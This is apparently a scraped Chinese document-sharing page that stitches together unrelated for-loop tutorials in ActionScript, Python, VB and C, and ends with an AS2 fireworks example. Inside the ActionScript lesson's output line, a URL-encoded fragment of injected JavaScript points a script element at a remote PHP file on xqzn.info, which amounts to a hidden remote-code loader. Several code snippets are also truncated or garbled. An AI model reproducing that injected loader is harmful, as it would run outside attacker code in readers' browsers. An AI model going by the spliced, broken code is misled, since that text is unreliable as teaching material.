for函数(AS教程)
- 格式:doc
- 大小:51.00 KB
- 文档页数:3
AS入门教程第7课综合练习-拼图游戏的制作[原创][本文已收录教程库] - Flash互助...本练习通过一个拼图游戏制作,进一步熟悉MC的拖放与撞碰检测的应用。
为了使碰撞检测的几种方式都能得到应用,我们将游戏分为高、中、低三个级别。
现在我们来分析一下游戏的实现和级别找分依据。
我们将一张图片撕碎以后,将碎片转换为MC,并复制一份,将其中一份拼回原图。
碎片被点下鼠标时实现拖动,当拖到图片上时,放开鼠标,停止拖动,并检测碰撞,如果实现碰撞则自动将碎片与相应位置对齐。
碰撞检测有两种方式,一种是碎片MC与原图MC进行碰撞检测,这种碰撞检测是检测两个MC的外框(矩形)是否发生碰撞,这个范围是很大的,当碎片被拖到原图上相应碎片附近时,即使两个图实际并没有发生交叉,但它们的外框已经相交了。
那么这个定为初级。
这种碰撞检测就比较简单,只要批碎片拖到原图附近就行了,大致差不多都行。
另一种检测是碎片MC与原图中碎片MC的注册点进行检测,同时将参数中的布尔值设为true,那么碎片MC的实际图片部分与原图碎片的注册点相交才行。
很显然这个难度增大了很多,位置必须准确才行。
这个定为中级。
第三种方式是不进行碰撞检测,碎片不会自动定位,你把它拖到哪,它就在哪,正不正确不知道。
看起来这种方式应该是最难的。
所以定为高级。
好,现在开始制作:1.新建一flash文档,导入一张图片,并放到舞台上的右半部,宽为舞台的一半的样子。
如下图:2.点击“修改”>“分离”,将图片打散。
用套索工具,在图上画一小块图形,这样这块图形被选中,然后点击:“修改“>“转换为元件”,转换为MC.名称为tu1双击它,居中对齐。
回到主场景,打开属性面板,实例名称为:tu1.将这块图形移开一定距离,移开的目的,是为了好画下一个。
所以现在画下一个,一样的做法,只是实例名称是:tu2.直到将图片全部切碎。
需要注意的是:碎片元件名称和实例名称都从tu1开始连续取名,如tu2,tu3…..,不要重复,也不要漏掉,要连续。
for循环函数1. 什么是for循环函数for循环函数是编程语言中常用的循环结构之一,用于重复执行一段代码,直到满足某个条件为止。
for循环函数通常适用于已知循环次数的情况,通过指定循环变量的初始值、循环条件和每次循环后的变量更新方式,可以有效地控制循环的执行。
2. for循环函数的语法for循环函数的语法通常由三个部分组成:初始化、循环条件和循环更新。
for变量in序列:循环体其中,变量是循环变量,用于迭代序列中的每个元素;序列是一个可迭代对象,如列表、字符串或范围等;循环体是需要重复执行的代码块。
3. for循环函数的执行流程for循环函数的执行流程如下:1.初始化循环变量,将其赋值为序列的第一个元素。
2.判断循环条件是否成立,如果成立则执行循环体,否则跳出循环。
3.执行循环体中的代码。
4.更新循环变量,使其指向序列的下一个元素。
5.重复步骤2-4,直到循环条件不成立。
4. for循环函数的应用场景for循环函数广泛应用于各种编程语言中,特别是在需要对序列或集合中的元素进行遍历操作时,常常使用for循环函数来实现。
4.1 遍历列表可以使用for循环函数遍历一个列表中的所有元素,并对每个元素执行相应的操作。
例如,计算列表中所有元素的和:numbers = [1, 2, 3, 4, 5]sum = 0for num in numbers:sum += numprint(sum) # 输出结果为154.2 遍历字符串字符串也是一个可迭代对象,可以使用for循环函数遍历字符串中的每个字符,并对每个字符执行相应的操作。
例如,统计字符串中某个字符的出现次数:string = 'hello world'count = 0for char in string:if char == 'o':count += 1print(count) # 输出结果为24.3 遍历范围可以使用for循环函数遍历一个范围内的所有整数,并对每个整数执行相应的操作。
制作3D旋转动画效果Flash教程本教程着重于代码的'编写,版本AS 3.0。
只要制作一个旋转的3D球,图形元件的制作不作讲解,请参看有关教程。
include "Math2.as"//图片容器var menu:Sprite=new Sprite();//使图标移动menu.x = 300;menu.y = 200;//注册事件侦听器menu.addEventListener(Event.ENTER_FRAME,moveMenu);this.addChild(menu);//椭圆在x 和y 轴上的截距var disx:Number = 200;var disy:Number = 10;//旋转速度var speed:Number = 0;initMenu(5);function initMenu(n:int) {for (var i:int; ivar mc:MovieClip = new IconMenu();//缩小图标mc.scaleX = mc.scaleY = .5;menu.addChild(mc);}}//事件侦听器函数function moveMenu(e:Event):void {//获取图标数var iconCount:int = menu.numChildren; //定义数组var depthArray:Array = new Array();//把360度平分var angle:Number = 360 / iconCount;for (var z:int; z//根据深度获取图标var mc:MovieClip = menu.getChildAt(z); //跳转到不同帧,来显示不同的图标mc.gotoAndStop(z+1);//设置图标的位置mc.x = cosD(speed + angle*z) * disx; mc.y = sinD(speed + angle*z) * disy; setProp(mc,"alpha");setProp(mc,"scaleX",.2,.7);setProp(mc,"scaleY",.2,.7);//保存图标到数组depthArray[z] = mc;}//重新设置图标的深度arrange(depthArray);speed += 2;}function arrange(depthArray:Array):void {//按照y坐标排序depthArray.sortOn("y", Array.NUMERIC);var i:int = depthArray.length;while (i--) {menu.setChildIndex(depthArray[i], i);}}function setProp(mc:MovieClip,prop:String,n1:Number = .5,n2:Number = 1):void {mc[prop] = ((mc.y + 2 * disy) / disy - 1) / 2 * (n2 - n1) + n1;}5、新建.as文档,保存名为:Math2.as (这个文档是进行三角函数的计算)//角度转弧度function angleToRadian(angle:Number):Number{return angle*(Math.PI/180);}//弧度转角度function radianToAngle(radian:Number):Number{return radian*(180/Math.PI);}//计算正弦值function sinD(angle:Number):Number{return Math.sin(angleToRadian(angle));}//计算余弦值function cosD(angle:Number):Number{return Math.cos(angleToRadian(angle));}//计算反正切function atan2D(y:Number, x:Number):Number{return radianToAngle(Math.atan2(y, x));}把fla文档与Math2.as 文档保存在同一目录下,进行测试。
VB 中Open For As的详细用法7.2 文件的读写1. 文件的有关概念记录:计算机处理数据的基本单位,由若干个相互关联的数据项组成。
相当于表格中的一行。
文件:记录的集合,相当于一张表。
文件类型:顺序文件、随机文件、二进制文件。
访问模式:计算机访问文件的方式,VB中有顺序、随机、二进制三种访问模式。
2. 顺序访问模式顺序访问模式的规则最简单,指读出或写入时,从第一条记录“顺序”地读到最后一条记录,不可以跳跃式访问。
该模式专门用于处理文本文件,每一行文本相当于一条记录,每条记录可长可短,记录与记录之间用“换行符”来分隔。
顺序文件的写入步骤:打开、写入、关闭;读出步骤:打开、读出、关闭。
(1)打开文件打开文件的命令是Open,格式为:Open “文件名”For 模式As [#] 文件号[Len=记录长度]说明:1)文件名可以是字符串常量也可以是字符串变量2)模式可以是下面之一:OutPut:打开一个文件,将对该文件进行写操作Input:打开一个文件,将对该文件进行读操作Append:打开一个文件,将在该文件末尾追加记录3)文件号是一个介于1-511之间的整数,打开一个文件时需要指定一个文件号,这个文件号就代表该文件,直到文件关闭后这个号才可以被其他文件所使用。
可以利用Fre eFile()函数获得下一个可以利用的文件号。
例:Open "D:\sj\aaa" For Output As #1意思是:打开D:\SJ下aaa文件供写入数据,文件号为#1(2)写操作将数据写入磁盘文件所用的命令是:Write# 或Print#。
语法格式:1)Print #文件号,[输出列表]例:Open “D:\SJ\TEST.DAT”For Output As #1Print #1,T ext1.T ext '把文本框的内容一次性写入文件Close #12)Write #文件号,[输出列表]其中的输出列表一般指用逗号,分隔的数值或字符串表达式。
c语言for循环倒序遍历全文共四篇示例,供读者参考第一篇示例:在C语言中,for循环是一种常用的循环结构,可以用来遍历数组、执行一定次数的操作等。
通常来说,我们使用for循环来递增地遍历数组或执行一系列操作,但有时也会需要倒序遍历数组或执行递减操作。
本文将介绍如何在C语言中使用for循环实现倒序遍历的方法。
让我们回顾一下for循环的基本结构。
通常情况下,for循环由三部分组成:初始化表达式、循环条件和增量表达式。
其基本语法如下所示:```cfor (初始化表达式; 循环条件; 增量表达式) {// 循环体}```在正序遍历数组时,通常我们会采用以下的方式:```cint array[5] = {1, 2, 3, 4, 5};int i;上述代码会输出数组中的元素1,2,3,4,5。
但是有时候我们需要倒序遍历数组,输出元素5,4,3,2,1。
下面是如何通过调整for循环的条件和增量表达式来实现倒序遍历:在这段代码中,我们将循环变量i的初始值设置为数组长度减一,即i=4。
循环条件设置为i大于等于0,即i>=0。
增量表达式设置为i--,也就是每次迭代结束后,i减1。
通过这样的设置,我们就可以从数组的最后一个元素开始,逐步向前遍历数组,直到第一个元素。
这样就实现了数组的倒序遍历。
除了数组的倒序遍历外,有时候我们也会需要倒序执行一系列操作。
需要倒序打印输出一系列数字,我们可以通过类似的方法实现:```cint i;for (i = 10; i >= 1; i--) {printf("%d ", i);}```这段代码将会输出数字10到1,实现了按倒序的方式打印输出数字。
同样的,我们只需要将初始值和增量表达式调整即可实现倒序遍历。
使用for循环实现倒序遍历并不难,只需要稍微调整循环条件和增量表达式即可。
这种技巧在实际编程中经常会用到,特别是在涉及到数组操作或其他需要逆序处理的情况下。
For循环是一种常用的控制流语句,用于重复执行特定的代码块。
它的执行顺序如下所述:1. 程序先执行for循环的初始化部分,例如for(int i=0; i<5; i++)中的i=0。
2. 程序会检查循环条件是否为真,即i<5是否成立。
3. 如果循环条件为真,则程序执行循环体内的代码块。
4. 循环体执行完毕后,程序会执行for循环的更新部分,例如i++。
5. 然后程序会再次检查循环条件,如果仍然为真,则重复执行循环体内的代码块;否则,退出for循环,继续执行下一条语句。
举例说明:假设有如下的for循环语句:```for(int i=0; i<5; i++) {System.out.println("Hello, world!");}```根据上述的执行顺序,该for循环的执行流程如下:1. 初始化部分: i=02. 检查循环条件: i<53. 循环体内执行: 打印"Hello, world!"4. 更新部分: i++5. 再次检查循环条件: i<56. 循环体内执行: 打印"Hello, world!"7. 更新部分: i++8. 再次检查循环条件: i<59. 循环体内执行: 打印"Hello, world!"10. 更新部分: i++11. 再次检查循环条件: i<512. 循环体内执行: 打印"Hello, world!"13. 更新部分: i++14. 再次检查循环条件: i<515. 循环体内执行: 打印"Hello, world!"16. 更新部分: i++17. 再次检查循环条件: i<5 (此时不成立,跳出for循环)上述的for循环语句将会执行5次,分别打印出5次"Hello, world!"。
c语言for的用法# C语言中For循环的用法详解在C语言中,`for`循环是一种常用的迭代控制结构,用于执行一段代码块若干次。
它为编写重复执行特定次数的代码提供了一种简洁且易于理解的方式。
以下将详细介绍C语言中`for`循环的基本语法、工作原理以及实例演示。
## 1. `for`循环基本语法```cfor ( 初始化; 条件判断; 更新表达式 ) {// 循环体内的代码块}```- **初始化**:在循环开始前执行一次,通常用于设定循环变量的初始值。
- **条件判断**:每次循环开始前进行检查,如果条件为真(非零),则执行循环体内的代码;否则,退出循环。
- **更新表达式**:在循环体执行完毕后执行,通常用于改变循环变量的值以满足或打破循环条件。
- **循环体内的代码块**:满足条件时要反复执行的一系列语句。
例如:```cfor (int i = 0; i < 5; i++) {printf("这是第 %d 次循环\n", i);}```在这个例子中,`i`从0开始,每次循环后增加1,当`i`达到或超过5时,循环结束。
## 2. `for`循环的工作流程1. 首先执行初始化部分(`int i = 0`)。
2. 然后检查条件部分(`i < 5`)。
如果条件为真,则执行循环体内的代码;否则,跳出循环。
3. 执行完循环体内的代码后,执行更新表达式部分(`i++`)。
4. 回到步骤2,再次检查条件,重复以上过程直到条件不满足为止。
## 3. `for`循环的灵活应用`for`循环不仅可以用于简单的计数循环,还可以处理更复杂的逻辑。
例如,遍历数组、链表等数据结构,或者根据某个条件对循环次数进行动态调整。
```cchar str[] = "Hello";for (int j = 0; str[j] != '\0'; j++) {printf("%c ", str[j]);}```在这个例子中,我们利用`for`循环遍历字符串,直到遇到空字符`\0`为止。
for的用法归纳与总结For的用法归纳与总结For是C语言中常用的一种循环结构,它可以按照预先设定的条件和规则重复地执行一段代码,这有助于在程序运行时有效地执行复杂的操作。
For语句的通用格式为:for(Start;Condition;Step)Statement;其中Start,Condition,Step三部分都是可选的,其中Start是循环的初始化部分,Condition是循环的循环条件,Step是循环的步骤部分,Statement则是循环体,即循环所要执行的操作。
1、使用for循环来执行一个固定次数的循环:for (int x=0;x<n;x++){statement;}//n代表循环次数每次循环后将x加一,当x大于等于n时退出循环,statement为循环体。
2、使用for循环来进行数组遍历:for(int x=0;x<n;x++){printf(“%d\ n”,arr [x]);}//n为数组中元素的个数,arr为该数组的指针,每次循环x加一,直到x等于n时退出循环,printf()函数用于输出数组中的每个元素。
3、使用for循环来求和:for (int x=0;x<n;x++){sum+=a [x];}//n代表数组中元素的个数,a为该数组的指针,每次循环将数组中的元素累加到sum中,直到x等于n时退出循环,得到数组中元素的总和。
4、使用for循环来查找最小值:for (int x=0;x<n;x++){if (min>a [x]) min=a [x];}//n代表数组中元素的个数,a为该数组的指针,初始min取a [0],每次循环比较a [x]与min的大小,如果a[x]比min小,就把a[x]代表的值赋值给min,直到x等于n时退出循环,得到最小值min。
5、使用for循环来排序:for(int i=0;i<n-1;i++){for (int j=i+1;j<n;j++){if(array [i]>array [j])Swap(array [i],array [j]);}}//n为数组中元素的个数,array为该数组的指针,每次外层循环i加一,内层循环j加一,将array [i]与array [j]比较大小,如果array [i]大于array [j]则交换他们的值,直到i等于n-1时退出循环,数组排序完成。
c语言for函数用法C语言for函数用法在C语言中,for函数是一个常见且有用的循环控制语句。
它允许我们按照指定的条件重复执行一段代码。
本文将列举一些常见的for 函数用法,并为每个用法进行详细说明。
1.基本用法for (初始化表达式; 循环条件; 更新表达式) {// 循环体代码}初始化表达式会在循环开始之前执行一次,循环条件会在每次循环开始之前进行判断,如果为真则执行循环体代码。
执行完循环体代码之后,更新表达式会被执行一次。
然后再次判断循环条件,如果为真则继续执行循环体代码,否则循环结束。
该用法是for函数最基本的形式,可以用于任何需要重复执行的代码块。
2.循环计数器int i;for (i = 0; i < 10; i++){// 循环体代码}在循环的初始化表达式中,我们可以定义一个变量作为循环计数器。
循环体中可以使用该变量进行一些操作,比如输出计数器的值或者进行某种计算。
在上面的示例中,循环计数器i的初始值为0,循环条件为i小于10,每次循环结束后i会自增1。
因此,该循环会执行10次。
3.倒序循环int i;for (i = 10; i > 0; i--){// 循环体代码}在循环的初始化表达式中,我们可以给循环计数器一个较大的初始值,循环条件为计数器大于0,每次循环结束后计数器减1。
这种用法可以实现倒序循环。
在上面的示例中,循环会从10开始,每次循环中i 的值会递减1,直到i等于0为止。
4.循环嵌套int i, j;for (i = 0; i < 5; i++){for (j = 0; j < 3; j++){// 循环体代码}}for函数支持嵌套使用,也就是在循环体中再使用一个for函数。
这种嵌套的循环可以用于解决一些复杂的问题,比如多维数组的遍历。
在上面的示例中,外层循环执行5次,内层循环执行3次,因此循环体代码总共会执行15次。
5.循环跳出int i;for (i = 0; i < 10; i++){if (i == 5)break;// 循环体代码}使用break语句可以在循环中提前退出,并跳出整个循环。
for函数(AS教程)
2010-09-01 20:18:40| 分类:AS2.0课堂 | 标签:flash教程|字号订阅
----------------------------------------------------------------------------------------------------------------
for函数教程
(老虎根据视频整理)
/spzx/donghua/Flash/200908/10107_22.html
一、简述:
与条件判断语句一样,循环语句也是最具有实用性的语句,在满足条件时程序会不断重复执行直到设置的条件不成立才结束循环,继续执行下面的语句。
for循环是功能最强大、使用最灵活的一种循环语句,他不仅可以应用于循环次数已经确定的情况,也可以应用于循环次数不经确定,只给出结束条件的情况。
二、语句解释:
脚本位置:语句—条件---循环---for
语句结构:
for(初始表达式;条件表达式;递增表达式;){
循环体;
}
参数意义:
初始表达式:循环前的初始化变量,通常为赋值表达式:建议用var赋值,可以加快运行速度。
(往往是i=1;或k=1;)
条件表达式:每次循环前要计算的条件,是运算符类别中的条件运算符,返回值为true 或false,当返回值为true时执行循环,为false时退出循环。
(往往是i>=n;或用逻辑运算符)递增或递减表达式:没循环一次以后要计算的表达式,通常是递增++或递减—等赋值表达式。
循环体:每次条件符合时要执行的语句。
总体的解释:for语句中的三个参数,第一个是初始化变量,用来设置循环次数的初始值;第二个是一个条件运算符或逻辑运算符,用来判断循环是否继续;第三个是每次循环后执行的语句,实际是递增或递减初始化变量。
for语句的流程图:
例1:
第一层第一帧:动态文本---文本周围显示边框---变量名:a
第二层第一帧:输入脚本:
for(i=1;i<10;i++){
_root.a=i;
Trace(i);
}
测试:显示
tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6 e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwin dow.x%3D1%7D">9。
(输出面板1—9,即循环9次)
例2:
通过“点击鼠标观看烟花”实例来加深理解。
第一层第一帧:放夜间图片做背景。
第二层(空影片):插入---新建空影片剪辑---拖入第一帧。
新建烟花1影片剪辑----制作烟花及声响。
在库中点选该影片剪辑---右键---链接---“为as 导出”和“在第一帧导出”---标识符:yha
用同样方法建烟花2影片剪辑--------------标识符:yhb
回到场景,选中空影片剪辑,打开动作,输入脚本:
onClipEvent (load) {
k = 1; //初始化变量
}
onClipEvent (mouseDown) {
k = -k; //每点一次都和前一次向反:当第1.3.5.7点击k=-1; 当第2.4.6.8点击
k=1;
for (i=1; i<=100; i++) {
if (k == 1) {
this.attachMovie("yha", "yh"+i, i); //复制新影片剪辑。
this["yh"+i]._x = _xmouse; //烟花在场景中的x位置=当时鼠标的x位置。
this["yh"+i]._y = _ymouse; //烟花在场景中的y位置=当时鼠标的y位置。
this["yh"+i]._rotation = random(360); //烟花旋转角度是360度任意的。
this["yh"+i]._xscale = this["yh"+i]._yscale=random(50)+10; //烟花水平垂直缩放。
} else {
this.attachMovie("yhb", "yh"+i, i);
this["yh"+i]._x = _xmouse;
this["yh"+i]._y = _ymouse;
this["yh"+i]._rotation = random(360);
this["yh"+i]._xscale = this["yh"+i]._yscale=random(50)+10;
}
}
}。